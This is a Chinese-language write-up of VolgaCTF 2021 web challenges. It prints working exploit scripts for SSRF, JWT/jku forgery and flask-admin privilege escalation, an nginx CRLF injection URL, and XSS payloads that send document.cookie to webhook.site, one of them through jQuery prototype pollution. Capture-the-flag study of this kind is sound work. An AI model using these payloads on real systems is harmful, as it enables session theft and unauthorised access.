VolgaCTF 2021 Qualifier writeup

 

VolgaCTF 2021 Qualifier

周末打打比赛恢复做题手感,写出的题挺少的,参考大佬们的writeup分析完了,学到了很多,继续加油!

0x00 总结

  • CVE-2020-28168 axios0.21.0 SSRF 302跳转利用方式

  • CVE-2021-21315 systeminformation 命令注入

  • CVE最新资讯:https://twitter.com/CVEnew

  • jwt 破解

  • flask session伪造

  • flask-admin安全问题

    • /new 页面可伪造管理员
    • /edit 页面可查看hash,破解得到密码。
  • JWT jku 权限绕过利用

    • 重定向利用
    • 工具使用
      • jwt_tools
      • myjet
  • nginx $uri配置缺陷导致的CRLF,配合XSS

    • nginx中间件利用新姿势。unix socket利用
  • jq原型链污染

0x01 Unicorn Networks(solved)

http://192.46.237.106:3000/

GET /api/getUrl?url=http://127.0.0.1:3000尝试ssrf没啥结果。

image-20210328130218506

查看报错回显发现是axios0.21.0版本,经查找此版本存在CVE-2020-28168 ssrf漏洞。

漏洞描述:https://twitter.com/cvenew/status/1324815140701806592

CVE-2020-28168 Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

该漏洞具体分析见:

具体方法是利用302跳转:

最开始我在vps上部署如下脚本:

<?php
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){
    header("Location: $schema://$ip/$query");
} else {
    header("Location: $schema://$ip:$port/$query");
}

然后访问:

` /api/getUrl?url=http://vpsip/index.php?s=http&i=127.0.0.1&query=/api/admin/ `

但是此处用带参数的始终不能正常跳转,可能是axios代理的原因。

(学弟直接用Location成了,amazing)

302.php内容

<?php
header("Location: http://127.0.0.1/admin");
?>

/api/getUrl?url=http://vpsip/302.php

这里直接访问admin是因为dirsearch扫描到3000端口的admin目录

image-20210328130144488

但是重定向到/admin。

image-20210328135622676

两者都尝试后发现直接访问80端口的/admin可以读取到目录下的index.html

所以获取http://127.0.0.1/admin

image-20210328135312565

读取到admin.html源码

<html>
<head>
<title>System information</title>
</head>
<body>
<h2>Get OS Information</h2>
<button onclick="retrieveOSInfo();false;">Retrieve</button>

<h2>Get service info</h2>
<input type="text" id="serviceName" value="nginx">
<button onclick="retrieveServiceInfo();false;">Retrieve</button>

<h2>Output</h2>
<textarea id="output"></textarea>
</body>
<script>
function retrieveOSInfo() {
fetch('/api/admin/os_info')
.then(response => {
                    if (response.status == 200) {
                        return response.json();
                    }
                    throw Error('Server is unavailable');
                },
                failResponse => {
                    printOutput('Server is unavailable');
                })
                .then(result => {
                    printApiResult(result);
                },
                errorMsg => {
                    printOutput(errorMsg);
                });
}

function retrieveServiceInfo() {
fetch('/api/admin/service_info?name=' + encodeURIComponent(serviceName.value))
.then(response => {
                    if (response.status == 200) {
                        return response.json();
                    }
                    throw Error('Server is unavailable');
                },
                failResponse => {
                    printOutput('Server is unavailable');
                })
                .then(result => {
                    printApiResult(result[0]);
                },
                errorMsg => {
                    printOutput(errorMsg);
                });
}

function printApiResult(jsonObject) {
result = '';
for (const [key, value] of Object.entries(jsonObject)) {
 result += `${key}: ${value}\\n`;
}
printOutput(result);
}

function printOutput(content) {
output.value = content;
}
</script>
</html>


<?php
header("Location: http://127.0.0.1/api/admin/os_info");
?>
{"status":"ok","content":{"platform":"linux","distro":"Ubuntu","release":"16.04.7 LTS","codename":"Xenial Xerus","kernel":"5.4.0-66-generic","arch":"x64","hostname":"c50a20ae1c85","fqdn":"c50a20ae1c85","codepage":"UTF-8","logofile":"ubuntu","serial":"c50a20ae1c85","build":"","servicepack":"","uefi":false}}

title上的System information说明此处用了npm systeminformation 库,查找漏洞后发现有多个命令注入漏洞,

systeminformation 漏洞查找:https://systeminformation.io/security.html

最后找到:CVE-2021-21315

可用poc:CVE-2021-21315-PoC

大概利用方法:

yoursite.com/api/getServices?name[]=$(echo -e’Sekurak’> pwn.txt)

参照上述的方法,我们可以在vps上准备一个sh脚本

image-20210328144538017

302.php

image-20210328144525032

反弹shell:

image-20210328144511049

或者curl带外

image-20210328141848404

改成 cat Secret_dfkKKEKmvK149318K.txt base64 在vps日志上收flag就可以了

0x02 JWT(solved)

http://172.105.68.62:8080/

root:root直接登录

image-20210328102220788

抓包发现jwt,到https://jwt.io/#debugger-io解码一下

image-20210328102340226

root改成admin就行了,缺一个私钥

扫描发现/secret/目录,访问得到私钥SkQxOVRBZTFHSlJCQkZnamtMU0FKY3p6aFJRMlRzWElabmEwQ3ozZUROdS9YcjNPZ04vSitkYk5ITUR3dytLYm9BRVFKcGNKelk0N3dRZ2FoblBFRERJczdicDlRK05lNTlvSStvelRVclpoM3A3Nmkyd2FEQVNhSkwxVTE3KzdRZlBLVmRIcklVZ1g1T2VYcnBwQVY1dG9jbThJODhJbUtUZDRyNVZnd2tzPQ

再到上面页面构造即可:

image-20210328102256473

0x03 JWS

http://192.46.234.216:5000/

{"header":{"alg":"RS256","jku":"http://localhost:5001/vuln/JWK","kid":"d6rFAC4MIXx26fVxB1a591QXDJDWQLw4OGhDg1ahq-M"},"payload":"TXkgSW50ZWdyaXR5IHByb3RlY3RlZCBtZXNzYWdl","signature":"r8WBnXoZNiBjt2D6p2wfdkypWUEMwTrw9dEHtd3N_sGT9scDynL2pHhmjy4C2JtbOMLNFkIfur0xs6qeI6QUiRobQpgo74aGVrT8Ne53G180NE7_3WP4chjUwiKf9iVmgGrw_O5jLGU71IBO7B04r3wfD8fg7EnMdYLN0r-tGGCpw_T9MMJD6pAhxLzretqJo3tWv1Mb1cq5RxfhJ_4lOIEGFkxphCJPaLb2_7s8K30ACvwzoNqI6JQQ3D8n_jnCEFhCYYvlpoQMpRj0dOl252AMWlZDQ3zhQJbqDov8ACqtH7KudUnamu1q_H6-5Elmzbm_R7Z8p6C4XuZkqbMEoQ"}
完整脚本:

使用flask构建web服务,访问/hack即返回伪造的JWK。

from flask import Flask, request, redirect, jsonify, send_from_directory
from jwcrypto import jwk, jws
from jwcrypto.common import json_encode
import os
import json
import requests, re

app = Flask(__name__)
app.config['pub_key'] = '{"e":"AQAB","kty":"RSA","n":"oBbyWuGxj4wqlVjqcpNh3ZKYTjVXWINNdn8zaJgJdPa0Wt286cE4wExWAV03Kuma7bh8yK5SgY2bte8mdjpcte5T1iOtqWTXDP5XbXQvzLPas1VVvzcMwdsMs4-mkuV6HCYaj7Sbent7Bvx_4aY8qxrIBSuqf4NBP38iE_Bkuzo_OeGtsz0f5KECUPDV-Tum1KDuiwCDt6Jmef_xAWUmAqJv9nK0GLnNceIDXmw775Gi26KxDl7g2ak22pNCEFBKbZqQak4cTeZJfNR-oUZqPXFGO9i2yZJ_G7iN-1JxSPTyqyKnG5Z16d7l1Q_TFP1btPMFu9qS_bdbnkcMxURoBQ"'
app.config['all_key'] = '{"d":"AaOagaGz7rNRsEvDwr6NjvY0RwC2zzow7dipjxWXazIncJK6n24SBa4CZ2sr6G2R34M3C9r1D0yC3p7_NtCsKFSzWQrueUCGDyT_gihhYOgqghGKmjWXFNkITUJYQ0LEOEuPlA8WVG-1N8IYERhhoKLaj2r-COYwIdVMZQXeEiinXLfCVJCEtMMVNBMRfyUoY4_siQ6vMQGxJsHn8XOE2zsMnkreG7kPE-c0UrmsdnhmmyNFtegbS8dej4eH0Xy1txg81wTQSyGUru10QaFYVVAOhRFmdVNvSNWW3uL1guAOgLg8Y17FPnz1FiUGhflTeEsWwcKlVWl7QF0Bel-e1Q","dp":"nAk_O5Qi5HQRhgcsNZsGgFeEeErPn5CoXFx1DhANVbQwuNU-19P29wR4gSaDfexoLLaDXrw50g-ufmCLbz9r461LcPdmD6g9okstgPF38heLhjyTuA84xDu16sCX0ltpxWOWzhRkBeI0uhE1mjXtD7Uk9KUX5Y5SQK6MPZmVsoM","dq":"MznXQhv8h65iqwxzfPj3QwK6s9JvIR4IHnur2t3GYaCd-RG5fGSigkClUeG8TUlxViOr5ElbGsATWOzqAlr_CwTPCwEg9lcL5AKEHOy94k5CfAWMr1csa6Pp6bQJkveDf_c87s2Z1zYn6cJmJZiEJADocRyyUJ_mnh6wpvS7tgs","e":"AQAB","kty":"RSA","n":"oBbyWuGxj4wqlVjqcpNh3ZKYTjVXWINNdn8zaJgJdPa0Wt286cE4wExWAV03Kuma7bh8yK5SgY2bte8mdjpcte5T1iOtqWTXDP5XbXQvzLPas1VVvzcMwdsMs4-mkuV6HCYaj7Sbent7Bvx_4aY8qxrIBSuqf4NBP38iE_Bkuzo_OeGtsz0f5KECUPDV-Tum1KDuiwCDt6Jmef_xAWUmAqJv9nK0GLnNceIDXmw775Gi26KxDl7g2ak22pNCEFBKbZqQak4cTeZJfNR-oUZqPXFGO9i2yZJ_G7iN-1JxSPTyqyKnG5Z16d7l1Q_TFP1btPMFu9qS_bdbnkcMxURoBQ","p":"0-jzleXm-XbQe_gjrKqFsQUypSjtVX2NJ1ckF5op0qE1XiLETHg0C-woMuEymyW-vqRAbgA5yx4pVhlmJTPkv8TVsc9OYsz1H1cswiI-I73uLJ1wgUk_4mapa7K10Mrsw2X9AZpmiP7ntc4OwVdJ7BjUoY587IbZrV0yVCKgeYM","q":"wWXeDP796mxedqUActwBTCQCR3uNjbmOINMZY2CR0DuxCa9AX8V3VZEQVUj1Q6R8o4ixrQywQy1R902Kc9dCQqBkwF4WfybzhkfwiVcf8Yy3bqZzEoGCEbs2KVnYX7J3EBIfgEQVXb_G5ZeOvWzgSTi11e1_kdcUXdANiGtISdc","qi":"MNo8DyDds5N6gw6gmA17Iu0scH5i2n30oS0nDxFp0tKqfd5WAjF7J3P_uESwzW8AvncAm7HtDBd-KEHipcOcm7rPEdfBKKhyo3Q25chBCvRPvVcslmML30p3p0_F26yd5ThHWoo3UmHNoPLiMNZN3oRsCe1w2jity3YVvZDhu48"}'

def generate_key():
   key = jwk.JWK.generate(kty='RSA', size=2048)
   print(key.export_public())
   print(key.export())

@app.route('/') #to get evil jws token
def index():
   jku = 'http://localhost:5001/vuln/redirect?endpoint=http://localhost:5002/hack' #localhost:5002 its own server, 5001 server with vuln open redirect
   payload = ''
   key = jws.JWK(**json.loads(app.config['all_key']))
   jwstoken = jws.JWS(payload.encode('utf-8'))
   jwstoken.add_signature(key=key,alg='RS256',protected=None,header=json_encode({"kid": key.thumbprint(), 'jku':jku, "alg":"RS256"}))
   sig = jwstoken.serialize()
   return sig

@app.route('/hack') #to redirect, return evil JWK
def hack(): #need send as file
   with open('tmp.file', 'w') as file_write:
       file_write.write(jwk.JWK(**json.loads(app.config['all_key'])).export_public())
   uploads = os.path.join(os.path.abspath(os.path.dirname(__file__)))
   return send_from_directory(directory='.',filename='tmp.file')

@app.route('/get_flag')
def get_flag():
   payload = index()
   answ = requests.get('http://localhost:5000/jws_check',params={'payloads':payload}).text
   flag = answ
   flag = re.findall('VolgaCTF{.+?}', answ)[-1]
   print(flag)
   return flag
   
if __name__ == '__main__':
   app.run(port=5002, host='0.0.0.0')

0x04 flask-admin

http://172.105.84.156:5000/

routes.py

这道题给routes.py

拿到flag的条件是以admin身份登录,最开始我们想的是通过session伪造的方式,但是拿不到key,题目给的是flask-admin,想必是flask-admin的问题。

image-20210330213957979

其中对于flask-admin页面的路由写的很奇怪

class MyAdmin(admin.AdminIndexView):
    @expose('/')
    @admin_required
    def index(self):
        return super(MyAdmin, self).index()

    @expose('/user')
    @expose('/user/')
    @admin_required
    def user(self):
        return render_template_string('TODO, need create custom view')


admin = Admin(app,
              name='VolgaCTF',
              template_mode='bootstrap3',
              index_view=MyAdmin())
admin.add_view(ModelView(User, db.session))

问题应该就出在这。

Flask-Admin是一个功能齐全、简单易用的Flask扩展,让你可以为Flask应用程序增加管理界面。

查询flask-admin文档可以发现其默认的管理员页面,flask-admin涉及几个问题

  • /admin路由不受用户身份验证的保护
  • 可以通过自己编写的视图传递给Admin构造函数来修改默认的路由,例如
class MyHomeView(AdminIndexView):
    @expose('/')
    def index(self):
        arg1 = 'Hello'
        return self.render('admin/myhome.html', arg1=arg1)

admin = Admin(index_view=MyHomeView())

本题就是将默认管理员页面换成了/admin/user/

flask-admin内置的功能页面:

  • /new 用户创建页面,可以创建管理员
  • /edit?id=xxx 修改页面,

访问/admin/user/edit?id=1,得到如下页面

flask中用户的密码使用werkzeug的generate_password_hash,check_password_hash来得到hash和验证hash

解1:直接搜索得到密码

直接搜索那个hash可以找到这篇文章:Flask开发中的用户密码加密

可以知道密码是hello,登录即可得到flag

解2:伪造管理员用户

本地生成Hash即可伪造:

image-20210330214658991

exp:

import requests
from werkzeug.security import generate_password_hash
import re

def get_csrf(s,url):
   resp = s.get(url).text
   regex = r'<input\sid="csrf_token"\sname="csrf_token"\stype="hidden"\svalue="(.*?)">'
   return re.findall(regex, resp)[-1]

def get_flag(s):
   flag_url = host + '/'
   answ = s.get(flag_url).text
   flag = re.findall('VolgaCTF{.+?}', answ)[-1]
   return flag

def authN(s, auth_url, user, password):
   data = {'csrf_token': get_csrf(s, auth_url),
           'username': user,
           'password': password,
           'submit': "Sign In"
           }
   resp = s.post(auth_url, data=data)

def create_mulicious_user(s, email, username, password):
   url = host+'/admin/user/new/'
   s.get(url)
   files = {'email': (None, email), 'username': (None, username),
            'password_hash': (None, generate_password_hash(password)), 'role': (None, '2')}
   x = s.post(url, files=files)
   return True

host = 'http://localhost:5000'
def hack():
   with requests.Session() as s:
       #s.proxies.update({'http':'http://127.0.0.1:8080'})
       email = 'hacker@volgactf.ru'
       username = 'hacker'
       password = 'hacker'
       create_mulicious_user(s, email, username, password)
       authN(s,host+'/login', username, password)
       print(get_flag(s))



if __name__ == '__main__':
   hack()

0x05 Static Site

https://static-site.volgactf-task.ru/

static-site.zip

中间件安全

作者出题想法来源:Middleware, middleware everywhere - and lots of misconfigurations to fix

但是题目没有太难,考察nginx $uri错误使用导致的CRLF,配合proxy_pass造成重定向,控制返回内容利用xss读取cookie。

nginx 配置文件

server {
    listen 443 ssl;
    resolver 8.8.8.8;
    server_name static-site.volgactf-task.ru;

    ssl_certificate      /etc/letsencrypt/live/volgactf-task.ru/fullchain1.pem;
    ssl_certificate_key  /etc/letsencrypt/live/volgactf-task.ru/privkey1.pem;

    add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-src https://www.google.com/recaptcha/; font-src https://fonts.gstatic.com/; style-src 'self' https://fonts.googleapis.com/; script-src 'self' https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/" always;
   
    location / {
      root /var/www/html;
    }

    location /static/ {
      proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
    }
}

直接拼接$uri使得我们可以注入CRLF。

proxy_pass配合CRLF的payload:

https://static-site.volgactf-task.ru/static/app.js%20HTTP/1.0%0d%0aHost:%20ctftesthuli.s3.amazonaws.com%0d%0ayo:

发出的HTTP请求如下:

GET /static/app.js HTTP/1.0
Host: ctftesthuli.s3.amazonaws.com
yo:
Host: static-site.volgactf-task.ru

这样就可以使得主机访问到恶意指定的服务器,在服务器上放置js脚本,构造xss即可拿到cookie

攻击流程

  1. 创建自己的S3 bucket
  2. 上传 /static/index.html
  3. 上传 /static/app.js
  4. 使得机器人访问 https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.0%0d%0aHost:%20ctftesthuli.s3.amazonaws.com%0d%0ayo:
  5. XSS 成功

index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  </head>

  <body class="text-center">
    
    hello
    <script src="/static/app.js%20HTTP/1.0%0d%0aHost:%20ctftesthuli.s3.amazonaws.com%0d%0ayo:"></script>
  </body>
</html>

app.js

window.location = 'https://webhook.site?c='+document.cookie

0x06 Online Wallet (Part 1)

https://wallet.volgactf-task.ru/

app.js

image-20210328160532080

题目描述:

此任务是一个在线钱包,具有在您的帐户之间创建和转移资金的功能。要得到FLAG,您需要请求从帐户中提取资金,但是只有余额为负数或超过150个令牌时,才能使用该标志。注册时,将创建一个余额为100的钱包。

作者出题想法来源:JSON互操作性漏洞探索

trick点:

  • nodejs与mysql处理json数据的不同

在帐户之间转移资金时,对请求正文进行了2种不同的JSON解析。

第一次使用nodejs中的body-parser

const bodyParser = require('body-parser')

app.use(bodyParser.json({verify: rawBody}))

const rawBody = function (req, res, buf, encoding) {
  if (buf && buf.length) {
    req.rawBody = buf.toString(encoding || 'utf8')
  }
}

第二次在MySQL中提交事务,数据类型为JSON

transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])

await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])

await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])

由于余额检查发生在node上,但是在MySQL中执行事务。

image-20210406222930509

image-20210406222939014

ps:这得跑到啥时候才能出flag,有人是用条件竞争做的:https://github.com/aszx87410/ctf-writeups/issues/32,不过也不是很清楚条件竞争漏洞出现的机理。

关于Mysql JSON数据格式的补充

JSON数组包含用逗号分隔并包含在[] 字符中的值的列表:

["abc", 10, null, true, false]

JSON对象包含一组键值对,以逗号分隔,并包含在{}字符内:

{"k1": "value", "k2": 10}

如示例所示,JSON数组和对象可以包含字符串或数字的标量值,JSON空文字或JSON布尔值true或false文字。JSON对象中的键必须是字符串。还允许使用时间(日期,时间或日期时间)标量值:

["12:18:29.000000", "2015-07-29", "2015-07-29 12:18:29.000000"]

允许在JSON数组元素和JSON对象键值内进行嵌套:

[99, {"id": "HK500", "cost": 75.99}, ["hot", "cold"]]
{"k1": "value", "k2": [10, 20]}

writeup:VolgaCTF 2021 Quals / Online Wallet, Static Site writeups

source_code:https://github.com/BlackFan/ctfs/tree/master/volgactf_2021_quals

0x07 Online Wallet (Part 2)

Steal document.cookie

https://wallet.volgactf-task.ru/

第二题的任务是执行XSS并从bot中窃取cookie。

该应用程序具有更改语言的能力,通过从Amazon S3网站下载不同版本的JS文件来实现的。

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_ru.js"></script>

image-20210329224015553

可以通过/wallet?lang=来修改语言,这里是突破点,

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_&lt;&gt;&#34;.js"></script>

<>被html编码

由于该值包含在脚本的路径中,因此可以使用路径穿越来访问给定网站的任意文件"?Lang = / .. / foo"

直接访问站点:https://volgactf-wallet.s3-us-west-1.amazonaws.com/,可以查看文件树并审计内部代码:

关注:deparam.js

  deparam = function( params, coerce ) {
    var obj = Object.create(null), /* Prototype Pollution fix */
      coerce_types = { 'true': !0, 'false': !1, 'null': null };
    params.replace(/\+/g, ' ').split('&').forEach(function(v){
      var param = v.split( '=' ),
        key = decodeURIComponent( param[0] ),
        val,
        cur = obj,
        i = 0,
        keys = key.split( '][' ),
        keys_last = keys.length - 1;
      if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
        keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
        keys = keys.shift().split('[').concat( keys );
        keys_last = keys.length - 1;
      } else {
        keys_last = 0;
      }
      if ( param.length === 2 ) {
        val = decodeURIComponent( param[1] );
        if ( coerce ) {
          val = val && !isNaN(val)            ? +val
            : val === 'undefined'             ? undefined
            : coerce_types[val] !== undefined ? coerce_types[val]
            : val;
        }
        if ( keys_last ) {
          for ( ; i <= keys_last; i++ ) {
            key = keys[i] === '' ? cur.length : keys[i];
            cur = cur[key] = i < keys_last
              ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
              : val;
          }
        } else {
          if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
            obj[key].push( val );
          } else if ( obj[key] !== undefined ) {
            obj[key] = [ obj[key], val ];
          } else {
              obj[key] = val;
          }
        }
      } else if ( key ) {
        obj[key] = coerce
          ? undefined
          : '';
      }
    });
    return obj;
  };

  queryObject = deparam(location.search.slice(1))

poc如下:

deparam = function (params, coerce) {
  var obj = Object.create(null) /* Prototype Pollution fix */,
    coerce_types = { true: !0, false: !1, null: null };
  params
    .replace(/\+/g, " ")
    .split("&")
    .forEach(function (v) {
      var param = v.split("="),
        key = decodeURIComponent(param[0]),
        val,
        cur = obj,
        i = 0,
        keys = key.split("]["),
        keys_last = keys.length - 1;
      if (/\[/.test(keys[0]) && /\]$/.test(keys[keys_last])) {
        keys[keys_last] = keys[keys_last].replace(/\]$/, "");
        keys = keys.shift().split("[").concat(keys);
        keys_last = keys.length - 1;
      } else {
        keys_last = 0;
      }
      if (param.length === 2) {
        val = decodeURIComponent(param[1]);
        if (keys_last) {
          for (; i <= keys_last; i++) {
            key = keys[i] === "" ? cur.length : keys[i];
            cur = cur[key] =
              i < keys_last
                ? cur[key] ||
                  (keys[i + 1] && isNaN(keys[i + 1]) ? Object.create(null) : [])
                : val;
          }
        } else {
          if (Object.prototype.toString.call(obj[key]) === "[object Array]") {
            obj[key].push(val);
          } else if (obj[key] !== undefined) {
            obj[key] = [obj[key], val];
          } else {
            obj[key] = val;
          }
        }
      } else if (key) {
        obj[key] = "";
      }
    });
  return obj;
};

var poc = {};
queryObject = deparam("a[0]=2&a[__proto__][__proto__][abc]=1");
console.log(poc.abc); // 1

经调试可以发现,deparam的功能是将参数进行分解,返回一个Object,存放所有参数。deparam函数存在递归的复制,这是非常典型的原型链污染出现的场景。

下一步就是寻找可用的gadget

原页面对Jquery进行了调用:

$('[data-toggle="tooltip"]').tooltip()

所以我们可以找一找JQuery的gadget

JQuery的poc有以下几种触发方式:

  • $(x).off
  • $(html)
  • $.get
  • $.getScript

但是我们不知道tooltip是否会对上述几种方式进行调用,所以可以跟源码:

源码中存在这样的调用:

  getTipElement() {
    this.tip = this.tip || $(this.config.template)[0]
    return this.tip
  }

$(this.config.template)中this.config.template就是上述的html,所以可以用下面的方法进行触发

<script/src=https://code.jquery.com/jquery-3.3.1.js></script>
<script>
  Object.prototype.div=['1','<img src onerror=alert(1)>','1']
</script>
<script>
  $('<div x="x"></div>')
</script>

源码中存在

<span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">

是一个使用了tooltip的元素,id是depositButton。

总体利用思路如下:

  • l利用lang参数的目录遍历引用 deparam.js
  • 按照gadget的方法污染原型链,怎么写呢,看完下面的payload就明白了,当然顺序不一定要对应上['1','payload','1']
  • id为#depositButton的元素触发tooltip进而触发XSS

payload

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  </head>
  <body>
    <script>
      fetch('https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a?check').then(r =>r).catch(err => console.log(err))
    function run() {
      setTimeout(() => {
f.src = "https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1#depositButton"
      }, 2000)
      
    }
  </script>
    <iframe id="f" onload="run()" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1"></iframe>
  </body>

</html>

寻找原型链污染的小技巧

取自:Online Wallet (part 2)

有两种方法可以触发原型污染的利用代码

  • 利用未初始化的字段访问到易受攻击的代码:可以利用pollute.js
  • 首先突出显示不安全的代码片段,然后查找影响它的未初始化的字段:可以使用:Untrusted Types for DevTools 工具

Untrusted Types for DevTools

yF8wnAF

众多js库的原型链污染利用项目:client-side-prototype-pollution

原型链污染利用链正向搜索脚本:pollute.js

原型链寻找易受攻击的未初始化字段工具:untrusted-types

参考资料